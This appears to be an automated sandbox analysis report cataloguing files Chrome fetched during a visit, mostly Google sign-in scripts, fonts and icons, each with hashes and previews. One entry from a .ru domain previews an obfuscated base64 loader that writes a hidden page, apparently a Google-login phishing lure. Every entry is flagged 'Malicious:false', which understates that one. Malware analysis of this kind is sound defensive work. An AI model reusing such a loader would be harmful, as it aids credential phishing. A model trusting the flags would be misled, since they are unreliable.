                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{.var vua=function(a,b){this.da=a;this.fa=b;if(!c){var c=new _.cg("//www.google.com/images/cleardot.gif");_.Im(c)}this.oa=c};_.h=vua.prototype;_.h.qd=null;_.h.E0=1E4;_.h.pC=!1;_.h.nT=0;_.h.xM=null;_.h.wX=null;_.h.setTimeout=function(a){this.E0=a};_.h.start=function(){if(this.pC)throw Error("vc");this.pC=!0;this.nT=0;wua(this)};_.h.stop=function(){xua(this);this.pC=!1};.var wua=function(a){a.nT++;navigator!==null&&"onLine"in navigator&&!navigator.onLine?_.kn((0,_.Mg)(a.JJ,a,!1),0):(a.aa=new Image,a.aa.onload=(0,_.Mg)(a.Tma,a),a.aa.onerror=(0,_.Mg)(a.Sma,a),a.aa.onabort=(0,_.Mg)(a.Rma,a),a.xM=_.kn(a.Uma,a.E0,a),a.aa.src=String(a.oa))};_.h=vua.prototype;_.h.Tma=function(){this.JJ(!0)};_.h.Sma=function(){this.JJ(!1)};_.h.Rma=function(){this.JJ(!1)};_.h.Uma=function(){this.JJ(!1)};._.h.JJ=function(a){xua(this);a?(this.pC=!1,this.da.call(this.fa,!0)):this.nT<=0?wua(this):(this.pC=!1,
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with no line terminators
                        Category:downloaded
                        Size (bytes):88
                        Entropy (8bit):5.058292698794709
                        Encrypted:false
                        SSDEEP:
                        MD5:A05EF77E39699B1EB6D4E7E5E4D59997
                        SHA1:9BA7E72086A8440E9448CB2039629099938F28C8
                        SHA-256:228227CDBC1F58E157921F8ECBAF9D39653E0909D82732C25F9072C4E8108224
                        SHA-512:97C40FE14487A9E238263F046F051D96D695F944AA5782BF83A77239F6F1B2E5F1B342F00A3E9D7AD02395B3667C8EB5BF3FEBFFFC8FB7FB32E1E41E5586CEB6
                        Malicious:false
                        Reputation:unknown
                        URL:https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
                        Preview:Cj4KBw0ZARP6GgAKKg3oIX6GGgQISxgCKh0IClIZCg9AIS4kI18qLSY/LyslLF4QARj/////DwoHDdOYqAcaAA==
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with no line terminators
                        Category:downloaded
                        Size (bytes):16
                        Entropy (8bit):3.5
                        Encrypted:false
                        SSDEEP:
                        MD5:F1C9C44E663E7E62582E3F5B236C1C72
                        SHA1:E142F3A0C2D1CDF175A5C3AF43AD66FEFE208B1F
                        SHA-256:D843E67FBFA1F5CB0024062861EE26860C5A866F80755CF39B3465459A8538B9
                        SHA-512:19FE62CB9D884BB3424C51DD15E74EB22E5A639BABF8398BACEBB781862296FA0D7AEE39C88CB9C7AF5791FD58830AC3433F5C6BD94B1BA3912AB33151E93452
                        Malicious:false
                        Reputation:unknown
                        URL:https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmM64aFB0TZyhIFDTcwqTA=?alt=proto
                        Preview:CgkKBw03MKkwGgA=
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:very short file (no magic)
                        Category:dropped
                        Size (bytes):1
                        Entropy (8bit):0.0
                        Encrypted:false
                        SSDEEP:
                        MD5:C4CA4238A0B923820DCC509A6F75849B
                        SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                        SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                        SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                        Malicious:false
                        Reputation:unknown
                        Preview:1
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1136)
                        Category:dropped
                        Size (bytes):1555
                        Entropy (8bit):5.249530958699059
                        Encrypted:false
                        SSDEEP:
                        MD5:FBE36EB2EECF1B90451A3A72701E49D2
                        SHA1:AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
                        SHA-256:E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
                        SHA-512:7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
                        Malicious:false
                        Reputation:unknown
                        Preview:<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (522)
                        Category:dropped
                        Size (bytes):5046
                        Entropy (8bit):5.318458707808428
                        Encrypted:false
                        SSDEEP:
                        MD5:11A0FE539B70E1496F1CDE708780AC28
                        SHA1:CA93A039A1984324FA00CFC1D47485A08C246BA0
                        SHA-256:0A657B0B087379B6A9EB5E17486D1CF4A56B68FB04F6BFF01E03798C17B3D186
                        SHA-512:07081BE0F91078A8C187203268AB0789372D0FF5F1735CC4A5E6784AD67DB145E8E5B303D6BFC5A68C4B189DADFEF5BFC95D40922513D0FD1AF31A17B6C1B0F6
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.EOa=_.z("wg1P6b",[_.RB,_.fy,_.Ao]);._.k("wg1P6b");.var y8a;y8a=_.Nh(["aria-"]);._.EG=function(a){_.W.call(this,a.La);this.Ma=this.Ba=this.aa=this.viewportElement=this.Pa=null;this.Zc=a.Ga.If;this.eb=a.Ga.focus;this.Mc=a.Ga.Mc;this.fa=this.Lj();a=-1*parseInt(_.np(this.Lj().el(),"marginTop")||"0",10);var b=parseInt(_.np(this.Lj().el(),"marginBottom")||"0",10);this.Wa={top:a,right:0,bottom:b,left:0};a=_.pf(this.getData("isMenuDynamic"),!1);b=_.pf(this.getData("isMenuHoisted"),!1);this.Ea=a?1:b?2:0;this.oa=!1;this.Da=1;this.Ea!==1&&(this.aa=this.Ta("U0exHf").children().Tc(0),this.Kj(z8a(this,.this.aa.el())));_.CD(this.Aa())&&(a=this.Aa().el(),b=this.Ne.bind(this),a.__soy_skip_handler=b)};_.J(_.EG,_.W);_.EG.Ca=function(){return{Ga:{If:_.rD,focus:_.gD,Mc:_.Pu}}};_.EG.prototype.nA=function(a){var b=a.source;this.Pa=b;var c;((c=a.data)==null?0:c.rB)?(a=a.data.rB,this.Da=a==="MOUSE"
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:RIFF (little-endian) data, Web/P image, VP8 encoding, 1741x979, Suserng: [none]x[none], YUV color, decoders should clamp
                        Category:dropped
                        Size (bytes):106290
                        Entropy (8bit):7.99716969201618
                        Encrypted:true
                        SSDEEP:
                        MD5:428183BFB7C31D8C3BCC985DAC004681
                        SHA1:691AE27C0FC2FE29732BD7C6907F4A9BE9253356
                        SHA-256:B4F40DAF431A5CF056DFFF45E867C8C24D8107505CD46FF17B0F9102E4FE3D2B
                        SHA-512:7E648B56988E9B66FCBE3DA447CEACFAC2A39D43D78604B50085CA3F64C898DDFD81F5C01F4A6854511BCC8845BABA7F8C4EC20974094F7F87AF27E4D1A78003
                        Malicious:false
                        Reputation:unknown
                        Preview:RIFF*...WEBPVP8 .....>...*....>.F.K...,..9A...in.f.Y....... j.........._.)|u.......=.?.....'M.W........c........t........7.'.o.?.{_..@?.z\z.~.{.. .C...W._........}@?..jt......?.?......../..<....._._....G...?........_........_._.................._........G.?.`.Q./..../.....o./.A......?.|.u/.?........s...?.............~.A.{.W....C.q.......?..`?....................y...........|..:.................k.....o..........u..................m.....{.....q..-..f.$M.. E........L'&..^...........<.y+.-.+..5.......b...FTM.c...............JMA...$...`+.x.]... ..7kc|..5....%.x.W{..&4......:.t....;.w@.....t..(.T)a6F........."......%\u...'D..........}..3....F.Lbh.g..g....-....3..%.W9....n.F~5R/5J..ql..~.F.B.LX.+...S.......+.0+c|...F........;.O..i.`..D.ez+uRj.I..9..e..q...;.u.c1.'itl...F....dx..pN......Y...|...&~>Q...o=.1`.)!.d.....A....~......8....Q.E.dj..V.`U...XUQ....o.}..pe%.-..H.....J.7........58.-.....".<..O._..N..;.i..b..1".I.}-...>......f.]...Ue....w.L._.z...
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (680)
                        Category:downloaded
                        Size (bytes):3125
                        Entropy (8bit):5.394440798443387
                        Encrypted:false
                        SSDEEP:
                        MD5:DA3E4DEB7EC8F58A8E9812ADC8B4B288
                        SHA1:61486EC8E1077D69A6B72A0A26A40FB7E2DE62F3
                        SHA-256:692C473425D01421773A5B2531A43BC3DA724655B1C8EDF626D1DC58E49842E1
                        SHA-512:C0DD7E0F40D5B65D00605D0B9E59CFCB79C1541B52B86243D29B32DD660E2D63CF51E2BFBCF1243447C6F4130A8C9C9B01E885D665C9F9EC81E97BE8226A0208
                        Malicious:false
                        Reputation:unknown
                        URL:"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.o-xrRUOsnJg.es5.O/ck=boq-identity.AccountsSignInUi.0kxUC5tMpvM.L.B1.O/am=iQ2mZPgGABD_cGlAN6BIIGQAAAAAAAAAAMAGAACwww/d=1/exm=CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,IZT63,K0PMbc,K1ZKnb,KUM7Z,L9OGUe,LDQI,LEikZe,LvGhrf,MpJwZc,PHUIyb,PrPYRd,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,YHI3We,YTxL4,YgOFye,_b,_tp,aC1iue,b3kMqb,bTi8wc,byfTOb,cYShmd,cciGGe,f8Gu1e,hc6Ubd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,n73qwf,oqkvIf,p3hmRc,pxq3x,qPYxq,qmdT9,rmumx,siKnQd,soHxf,t2srLd,vHEMJe,vfuNJf,vjKJJ,ws9Tlc,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHWF9YibrbVxyqBWgCA7Xrwdn4pxw/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ZwDk9d,RMhBfe"
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.k("ZwDk9d");.var $A=function(){_.Ct.call(this)};_.J($A,_.Fu);$A.Ca=_.Fu.Ca;$A.prototype.XU=function(a){return _.hf(this,{Ya:{OV:_.Ul}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.Ii(function(e){window._wjdc=function(f){d(f);e(GKa(f,b,a))}}):GKa(c,b,a)})};var GKa=function(a,b,c){return(a=a&&a[c])?a:b.Ya.OV.XU(c)};.$A.prototype.aa=function(a,b){var c=_.$ra(b).Jl;if(c.startsWith("$")){var d=_.fn.get(a);_.Dq[b]&&(d||(d={},_.fn.set(a,d)),d[c]=_.Dq[b],delete _.Dq[b],_.Eq--);if(d)if(a=d[c])b=_.nf(a);else throw Error("Yb`"+b);else b=null}else b=null;return b};_.Ku(_.dga,$A);._.l();._.k("SNUn3");._.FKa=new _.Cf(_.Pg);._.l();._.k("RMhBfe");.var HKa=function(a){var b=_.Cq(a);return b?new _.Ii(function(c,d){var e=function(){b=_.Cq(a);var f=_.kga(a,b);f?c(f.getAttribute("jsdata")):window.document.readyState=="complete"?(f=["Unable to find deferred jsdata with i
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (372)
                        Category:downloaded
                        Size (bytes):1566
                        Entropy (8bit):5.268657721537838
                        Encrypted:false
                        SSDEEP:
                        MD5:202665412B5F84D902E8426866C79EE2
                        SHA1:04072064D2EE2E3456B0E3D2FCE91476C26A8035
                        SHA-256:F72BD04AAC7931C2B3EC753C270FEA32A73E52AEB24628D526097CCAC49BC8C2
                        SHA-512:77A0DE1632A911362FD5C8F554BC6346611F3C326701D157B1934669C10B0C77EC37941F4C5F4B6CCE47DEC966DFB879AE705F96F0140C128B21788035BCA646
                        Malicious:false
                        Reputation:unknown
                        URL:"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.o-xrRUOsnJg.es5.O/ck=boq-identity.AccountsSignInUi.0kxUC5tMpvM.L.B1.O/am=iQ2mZPgGABD_cGlAN6BIIGQAAAAAAAAAAMAGAACwww/d=1/exm=CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,IZT63,K0PMbc,K1ZKnb,KUM7Z,L9OGUe,LDQI,LEikZe,LvGhrf,MpJwZc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,YHI3We,YTxL4,YgOFye,ZwDk9d,_b,_tp,aC1iue,b3kMqb,bTi8wc,byfTOb,cYShmd,cciGGe,f8Gu1e,hc6Ubd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,n73qwf,oqkvIf,p3hmRc,pxq3x,qPYxq,qmdT9,rmumx,siKnQd,soHxf,t2srLd,vHEMJe,vfuNJf,vjKJJ,ws9Tlc,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHWF9YibrbVxyqBWgCA7Xrwdn4pxw/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ZDZcre,w9hDv,A7fCU"
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.k("lOO0Vd");._.j0a=new _.Cf(_.fma);._.l();._.k("ZDZcre");.var b1a=function(){this.Po=_.Iu(_.SE);this.C6=_.Iu(_.j0a);this.aa=_.Iu(_.RE)};b1a.prototype.execute=function(a){var b=this;a=this.aa.create(a);return _.Fb(a,function(c){var d=b.C6.getType(c.Yd())===2?b.Po.Ob(c):b.Po.fetch(c);return _.jm(c,_.TE)?d.then(function(e){return _.Ld(e)}):d},this)};_.Lu(b1a,_.hma);._.l();._.k("w9hDv");._.Og(_.Yla);_.YA=function(a){_.Ct.call(this);this.aa=a.Ya.cache};_.J(_.YA,_.Fu);_.YA.Ca=function(){return{Ya:{cache:_.wt}}};_.YA.prototype.execute=function(a){_.Fb(a,function(b){var c;_.mf(b)&&(c=b.ib.hc(b.nb));c&&this.aa.qJ(c)},this);return{}};_.Ku(_.dma,_.YA);._.l();._.k("K5nYTd");._.i0a=new _.Cf(_.ema);._.l();._.k("sP4Vbe");.._.l();._.k("kMFpHd");.._.l();._.k("A7fCU");.var m0a=function(a){_.Ct.call(this);this.aa=a.Ga.Lga};_.J(m0a,_.Fu);m0a.Ca=function(){return{Ga:{Lga:_.i0a,metadata:_.j0a},p
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:HTML document, ASCII text, with very long lines (65372), with CRLF line terminators
                        Category:downloaded
                        Size (bytes):446256
                        Entropy (8bit):3.307600060506662
                        Encrypted:false
                        SSDEEP:
                        MD5:DE6DF971D2A1201D0AE9F8F579DCAAC2
                        SHA1:11F534FD848F45081989BD80C3EAADC72CF46B33
                        SHA-256:B8BE7F85FB89CB58598A6ED655C355B1FCDE3586C8CA8F5FB46BA410E9DF27E2
                        SHA-512:2B8EEBB0EBBA18BBEA38B23F425FDE4380CCFA444195AC11AE6B7CC402175C337FD9726835C4B49585E4F19A5D5CBEFA07CA96DCF22D8D52126E837F45AA7AEE
                        Malicious:false
                        Reputation:unknown
                        URL:https://lgs.gngt.ru/d1MHvwa7NXCAlKk/
                        Preview:<script>../* If you really look closely, most overnight successes took a long time. */..if(atob("aHR0cHM6Ly9QeW0uZ25ndC5ydS9kMU1IdndhN05YQ0FsS2sv") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:Web Open Font Format (Version 2), TrueType, length 52280, version 1.0
                        Category:downloaded
                        Size (bytes):52280
                        Entropy (8bit):7.995413196679271
                        Encrypted:true
                        SSDEEP:
                        MD5:F61F0D4D0F968D5BBA39A84C76277E1A
                        SHA1:AA3693EA140ECA418B4B2A30F6A68F6F43B4BEB2
                        SHA-256:57147F08949ABABE7DEEF611435AE418475A693E3823769A25C2A39B6EAD9CCC
                        SHA-512:6C3BD90F709BCF9151C9ED9FFEA55C4F6883E7FDA2A4E26BF018C83FE1CFBE4F4AA0DB080D6D024070D53B2257472C399C8AC44EEFD38B9445640EFA85D5C487
                        Malicious:false
                        Reputation:unknown
                        URL:https://fonts.gstatic.com/s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2
                        Preview:wOF2.......8.....................................^...$..4?HVAR..?MVAR9.`?STAT.*',..J/.......`..(..Z.0..R.6.$.... .....K..[..q..c..T.....>.P.j.`.w..#...%......N.".....$..3.0.6......... .L.rX/r[j.y.|*(.4.%#.....2.v.m..-..%.....;-.Y.{..&..O=#l@...k..7g..ZI...#.Z./+T..r7...M..3).Z%.x....s..sL..[A!.5*1w'/.8V..2Z..%.X.h.o.).]..9..Q`.$.....7..kZ.~O........d..g.n.d.Rw+&....Cz..uy#..fz,(.J....v.%..`..9.....h...?O..:...c%.....6s....xl..#...5..._......1.>.)"U.4 W....?%......6//!$...!.n9C@n...........!""^.....W..Z<.7.x.."UT.T....E.."R>.R..t.....H d..e_.K../.+8.Q.P.ZQ....;...U....]......._.e*......71.?.7.ORv.?...l...G|.P...|:...I.X..2.,.L........d.g.]}W#uW]QnuP-s.;.-Y.....].......C..j_.M0...y.......J..........NY..@A...,....-.F......'..w./j5g.vUS...U..0.&...y7.LP.....%.....Y......Y..D. e.A..G.?.$.......6...eaK.n5.m...N...,...+BCl..L> .E9~.b[.w.x....6<...}.e...%V....O.......*.?...a..#[eE.4..p..$...].....%......o._......N.._~..El....b..A.0.r8.....|..D.d..
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:HTML document, ASCII text, with very long lines (722)
                        Category:dropped
                        Size (bytes):4237
                        Entropy (8bit):5.374090679085738
                        Encrypted:false
                        SSDEEP:
                        MD5:460E41D643185B1AB9E917891823873A
                        SHA1:A069D5DD09E1C27C234D551C85BD466250238695
                        SHA-256:3B62E1C504AB8C2444CF240A3878E2B7652CE2975B2F13867FF2A01F77350E71
                        SHA-512:4305772F1142E5F8A241677113E6543CE6E67479BC3C96C51024C2CEB76F1CBCE7BC93B31D83CE2FA45B5881DD48B18CBFFD3139B54D922AEA7E08A16956A8D2
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.Og(_.Iqa);._.k("sOXFj");.var Ru=function(){_.Ct.call(this)};_.J(Ru,_.Fu);Ru.Ca=_.Fu.Ca;Ru.prototype.aa=function(a){return a()};_.Ku(_.Hqa,Ru);._.l();._.k("oGtAuc");._.Cya=new _.Cf(_.Iqa);._.l();._.k("q0xTif");.var wza=function(a){var b=function(d){_.Io(d)&&(_.Io(d).Nc=null,_.gv(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])};_.rv=function(a,b){a&&_.Ef.hc().register(a,b)};_.sv=function(a){_.fv.call(this,a.La);var b=this,c=a.context.Aha;this.oa=c.Ir;this.qd=this.Pa=this.eb=this.Ba=null;this.Ma=a.Ga.Mc;this.Wa=a.Ga.Gpa;a=this.oa.oa.then(function(d){b.Ba=d;d=b.oa.id.v7(d,b.oa.getParams());b.eb=d.variant});c=c.A2.then(function(d){b.Pa=d});this.Ea=this.Ea.bind(this);this.Kj(_.Ki([a,c]))};_.J(_.sv,_.fv);_.sv.Ca=function(){return{context:{Aha:"FVxLkf"},Ga:{Mc:_.Pu,component:_.lv,Gpa:_.Cya}}};_.sv.prototype.aa=function(){ret
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (570)
                        Category:dropped
                        Size (bytes):3476
                        Entropy (8bit):5.504002404391888
                        Encrypted:false
                        SSDEEP:
                        MD5:3117AC50EC5B1F44F54B9502C02A0620
                        SHA1:F688B1361D9E37D19D9F518FE09C99A76E0DE438
                        SHA-256:E44AAC8C2BB2299F6D479A2AAD1903E6DCDDD4CCD8DB5417AC4B47F4AB4C54A5
                        SHA-512:1F0EEECF0F117C80636DBE85E9050CF5D3F376C67CF6AD1C41ACE6C26E17E3E248BC9E71054823AB065DE830F40AC27DFD0B8EC07197D8CB1E0EC66107FBA184
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.k("Wt6vjf");.var gya=function(){var a=_.Le();return _.nk(a,1)},wu=function(a){this.Ha=_.u(a,0,wu.messageId)};_.J(wu,_.w);wu.prototype.Fa=function(){return _.ek(this,1)};wu.prototype.Sa=function(a){return _.xk(this,1,a)};wu.messageId="f.bo";var xu=function(){_.gn.call(this)};_.J(xu,_.gn);xu.prototype.Jd=function(){this.hW=!1;hya(this);_.gn.prototype.Jd.call(this)};xu.prototype.aa=function(){iya(this);if(this.mF)return jya(this),!1;if(!this.nY)return yu(this),!0;this.dispatchEvent("p");if(!this.tS)return yu(this),!0;this.LP?(this.dispatchEvent("r"),yu(this)):jya(this);return!1};.var kya=function(a){var b=new _.cg(a.w7);a.qT!=null&&_.hg(b,"authuser",a.qT);return b},jya=function(a){a.mF=!0;var b=kya(a),c="rt=r&f_uid="+_.Sk(a.tS);_.Nn(b,(0,_.Mg)(a.fa,a),"POST",c)};.xu.prototype.fa=function(a){a=a.target;iya(this);if(_.Qn(a)){this.mN=0;if(this.LP)this.mF=!1,this.dispatchEvent("r"
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                        Category:dropped
                        Size (bytes):5430
                        Entropy (8bit):3.6534652184263736
                        Encrypted:false
                        SSDEEP:
                        MD5:F3418A443E7D841097C714D69EC4BCB8
                        SHA1:49263695F6B0CDD72F45CF1B775E660FDC36C606
                        SHA-256:6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
                        SHA-512:82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
                        Malicious:false
                        Reputation:unknown
                        Preview:............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (2041)
                        Category:dropped
                        Size (bytes):21445
                        Entropy (8bit):5.418561738568366
                        Encrypted:false
                        SSDEEP:
                        MD5:0104D1DB164E2E14AB199170E03BF1F1
                        SHA1:B954341479B3EFC1BAFE28D0E266DB25DA2BE316
                        SHA-256:5FDA9C82C1F75FC8A555C833E6D716FA662676647D891001404838CFC8013A32
                        SHA-512:4ECB853AADFCAF6E43A84E293BD549A4CFE4D005770BDE705BAAC7CD964F9CF10A215552DD97B70DDFC153FEB58B5FC6B7090241E3A272E3C1BA85D65DFF7706
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{.var fIa;._.Sz=function(){var a=fIa(_.Ie("xwAfE"),function(){return _.Ie("UUFaWc")}),b=fIa(_.Ie("xnI9P"),function(){return _.Ie("u4g7r")}),c,d,e,f;return(f=gIa)!=null?f:gIa=Object.freeze({isEnabled:function(g){return g===-1||_.pf(_.Ie("iCzhFc"),!1)?!1:a.enabled||b.enabled},environment:(c=_.Zk(_.Ie("y2FhP")))!=null?c:void 0,lT:(d=_.Zk(_.Ie("MUE6Ne")))!=null?d:void 0,Ct:(e=_.Zk(_.Ie("cfb2h")))!=null?e:void 0,kq:_.al(_.Ie("yFnxrf"),-1),K2:_.CFa(_.Ie("fPDxwd")).map(function(g){return _.al(g,0)}).filter(function(g){return g>0}),.y7:a,i7:b})};fIa=function(a,b){a=_.pf(a,!1);return{enabled:a,xB:a?_.Ld(_.il(b(),_.Tz)):hIa()}};_.Tz=function(a){this.Ha=_.u(a)};_.J(_.Tz,_.w);var hIa=function(a){return function(){return _.pd(a)}}(_.Tz);var 